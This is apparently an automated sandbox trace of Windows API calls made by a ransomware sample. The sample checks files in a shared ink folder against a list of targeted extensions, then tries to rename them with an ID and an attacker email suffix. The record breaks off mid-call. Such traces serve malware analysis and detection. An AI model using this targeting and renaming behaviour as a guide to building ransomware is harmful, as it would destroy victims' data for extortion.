lstrlenW (lpString=".xls") returned 4 [0089.475] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.475] lstrlenW (lpString=".xlsx") returned 5 [0089.475] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0089.475] lstrlenW (lpString=".ppt") returned 4 [0089.475] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.475] lstrlenW (lpString=".zip") returned 4 [0089.475] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.475] lstrlenW (lpString=".rar") returned 4 [0089.475] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.475] lstrlenW (lpString=".bz2") returned 4 [0089.475] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.475] lstrlenW (lpString=".7z") returned 3 [0089.475] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.475] lstrlenW (lpString=".dbf") returned 4 [0089.475] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.475] lstrlenW (lpString=".1cd") returned 4 [0089.475] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.475] lstrlenW (lpString=".jpg") returned 4 [0089.475] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.475] Sleep (dwMilliseconds=0x64) [0089.898] Sleep (dwMilliseconds=0x64) [0090.507] Sleep (dwMilliseconds=0x64) [0091.304] Sleep (dwMilliseconds=0x64) [0091.904] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0091.904] lstrlenW (lpString="hwrusash.dat") returned 12 [0091.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.029] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3380096) returned 1 [0093.029] CloseHandle (hObject=0x34c) returned 1 [0093.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0093.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0093.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.030] lstrlenW (lpString=".doc") returned 4 [0093.030] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0093.030] lstrlenW (lpString=".docx") returned 5 [0093.030] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0093.030] lstrlenW (lpString=".pdf") returned 4 [0093.030] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0093.030] lstrlenW (lpString=".xls") returned 4 [0093.030] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0093.030] lstrlenW (lpString=".xlsx") returned 5 [0093.030] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0093.030] lstrlenW (lpString=".ppt") returned 4 [0093.030] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0093.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.030] lstrlenW (lpString=".zip") returned 4 [0093.030] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0093.030] lstrlenW (lpString=".rar") returned 4 [0093.030] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0093.030] lstrlenW (lpString=".bz2") returned 4 [0093.030] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0093.030] lstrlenW (lpString=".7z") returned 3 [0093.031] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0093.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.031] lstrlenW (lpString=".dbf") returned 4 [0093.031] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0093.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.031] lstrlenW (lpString=".1cd") returned 4 [0093.031] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0093.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.031] lstrlenW (lpString=".jpg") returned 4 [0093.031] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0093.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.031] lstrlenW (lpString=".doc") returned 4 [0093.031] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0093.031] lstrlenW (lpString=".docx") returned 5 [0093.031] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0093.031] lstrlenW (lpString=".pdf") returned 4 [0093.031] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0093.031] lstrlenW (lpString=".xls") returned 4 [0093.031] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0093.031] lstrlenW (lpString=".xlsx") returned 5 [0093.031] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0093.031] lstrlenW (lpString=".ppt") returned 4 [0093.032] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0093.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.032] lstrlenW (lpString=".zip") returned 4 [0093.032] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0093.032] lstrlenW (lpString=".rar") returned 4 [0093.032] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0093.032] lstrlenW (lpString=".bz2") returned 4 [0093.032] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0093.032] lstrlenW (lpString=".7z") returned 3 [0093.032] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0093.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.032] lstrlenW (lpString=".dbf") returned 4 [0093.032] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0093.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.032] lstrlenW (lpString=".1cd") returned 4 [0093.032] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0093.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0093.032] lstrlenW (lpString=".jpg") returned 4 [0093.032] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0093.032] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.033] lstrlenW (lpString="ipskor.xml") returned 10 [0093.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.033] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2568) returned 1 [0093.033] CloseHandle (hObject=0x34c) returned 1 [0093.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0093.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.034] lstrlenW (lpString=".doc") returned 4 [0093.034] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.034] lstrlenW (lpString=".docx") returned 5 [0093.034] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.034] lstrlenW (lpString=".pdf") returned 4 [0093.034] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.034] lstrlenW (lpString=".xls") returned 4 [0093.034] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.034] lstrlenW (lpString=".xlsx") returned 5 [0093.034] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.034] lstrlenW (lpString=".ppt") returned 4 [0093.034] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.034] lstrlenW (lpString=".zip") returned 4 [0093.034] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.034] lstrlenW (lpString=".rar") returned 4 [0093.034] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.034] lstrlenW (lpString=".bz2") returned 4 [0093.034] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.034] lstrlenW (lpString=".7z") returned 3 [0093.034] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.034] lstrlenW (lpString=".dbf") returned 4 [0093.035] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.035] lstrlenW (lpString=".1cd") returned 4 [0093.035] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.035] lstrlenW (lpString=".jpg") returned 4 [0093.035] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.035] lstrlenW (lpString=".doc") returned 4 [0093.035] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.035] lstrlenW (lpString=".docx") returned 5 [0093.035] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.035] lstrlenW (lpString=".pdf") returned 4 [0093.035] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.035] lstrlenW (lpString=".xls") returned 4 [0093.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.035] lstrlenW (lpString=".xlsx") returned 5 [0093.035] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.035] lstrlenW (lpString=".ppt") returned 4 [0093.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.035] lstrlenW (lpString=".zip") returned 4 [0093.036] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.036] lstrlenW (lpString=".rar") returned 4 [0093.036] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.036] lstrlenW (lpString=".bz2") returned 4 [0093.036] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.036] lstrlenW (lpString=".7z") returned 3 [0093.036] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.036] lstrlenW (lpString=".dbf") returned 4 [0093.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.036] lstrlenW (lpString=".1cd") returned 4 [0093.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61 [0093.036] lstrlenW (lpString=".jpg") returned 4 [0093.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.036] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.036] lstrlenW (lpString="ipsnld.xml") returned 10 [0093.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.037] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2626) returned 1 [0093.037] CloseHandle (hObject=0x34c) returned 1 [0093.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0093.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.037] lstrlenW (lpString=".doc") returned 4 [0093.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.037] lstrlenW (lpString=".docx") returned 5 [0093.038] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0093.038] lstrlenW (lpString=".pdf") returned 4 [0093.038] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.038] lstrlenW (lpString=".xls") returned 4 [0093.038] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.038] lstrlenW (lpString=".xlsx") returned 5 [0093.038] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0093.038] lstrlenW (lpString=".ppt") returned 4 [0093.038] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.038] lstrlenW (lpString=".zip") returned 4 [0093.038] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.038] lstrlenW (lpString=".rar") returned 4 [0093.038] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.038] lstrlenW (lpString=".bz2") returned 4 [0093.038] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.038] lstrlenW (lpString=".7z") returned 3 [0093.038] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.038] lstrlenW (lpString=".dbf") returned 4 [0093.038] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.038] lstrlenW (lpString=".1cd") returned 4 [0093.038] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.039] lstrlenW (lpString=".jpg") returned 4 [0093.039] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.039] lstrlenW (lpString=".doc") returned 4 [0093.039] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.039] lstrlenW (lpString=".docx") returned 5 [0093.039] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0093.039] lstrlenW (lpString=".pdf") returned 4 [0093.039] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.039] lstrlenW (lpString=".xls") returned 4 [0093.039] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.039] lstrlenW (lpString=".xlsx") returned 5 [0093.039] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0093.039] lstrlenW (lpString=".ppt") returned 4 [0093.039] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.039] lstrlenW (lpString=".zip") returned 4 [0093.039] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.039] lstrlenW (lpString=".rar") returned 4 [0093.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.039] lstrlenW (lpString=".bz2") returned 4 [0093.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.039] lstrlenW (lpString=".7z") returned 3 [0093.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.040] lstrlenW (lpString=".dbf") returned 4 [0093.040] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.040] lstrlenW (lpString=".1cd") returned 4 [0093.040] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0093.040] lstrlenW (lpString=".jpg") returned 4 [0093.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.040] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.040] lstrlenW (lpString="ipsnor.xml") returned 10 [0093.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.041] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2580) returned 1 [0093.041] CloseHandle (hObject=0x34c) returned 1 [0093.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0093.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.042] lstrlenW (lpString=".doc") returned 4 [0093.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.042] lstrlenW (lpString=".docx") returned 5 [0093.042] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.042] lstrlenW (lpString=".pdf") returned 4 [0093.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.042] lstrlenW (lpString=".xls") returned 4 [0093.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.042] lstrlenW (lpString=".xlsx") returned 5 [0093.042] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.042] lstrlenW (lpString=".ppt") returned 4 [0093.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.042] lstrlenW (lpString=".zip") returned 4 [0093.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.043] lstrlenW (lpString=".rar") returned 4 [0093.043] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.043] lstrlenW (lpString=".bz2") returned 4 [0093.043] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.043] lstrlenW (lpString=".7z") returned 3 [0093.043] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.045] lstrlenW (lpString=".dbf") returned 4 [0093.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.045] lstrlenW (lpString=".1cd") returned 4 [0093.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.045] lstrlenW (lpString=".jpg") returned 4 [0093.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.045] lstrlenW (lpString=".doc") returned 4 [0093.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.045] lstrlenW (lpString=".docx") returned 5 [0093.045] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.045] lstrlenW (lpString=".pdf") returned 4 [0093.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.046] lstrlenW (lpString=".xls") returned 4 [0093.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.046] lstrlenW (lpString=".xlsx") returned 5 [0093.046] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.046] lstrlenW (lpString=".ppt") returned 4 [0093.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.046] lstrlenW (lpString=".zip") returned 4 [0093.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.046] lstrlenW (lpString=".rar") returned 4 [0093.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.046] lstrlenW (lpString=".bz2") returned 4 [0093.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.059] lstrlenW (lpString=".7z") returned 3 [0093.059] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.059] lstrlenW (lpString=".dbf") returned 4 [0093.059] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.059] lstrlenW (lpString=".1cd") returned 4 [0093.059] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0093.060] lstrlenW (lpString=".jpg") returned 4 [0093.060] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.060] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.060] lstrlenW (lpString="ipsplk.xml") returned 10 [0093.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.061] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2600) returned 1 [0093.061] CloseHandle (hObject=0x34c) returned 1 [0093.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0093.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.062] lstrlenW (lpString=".doc") returned 4 [0093.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.062] lstrlenW (lpString=".docx") returned 5 [0093.062] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0093.062] lstrlenW (lpString=".pdf") returned 4 [0093.063] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.063] lstrlenW (lpString=".xls") returned 4 [0093.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") 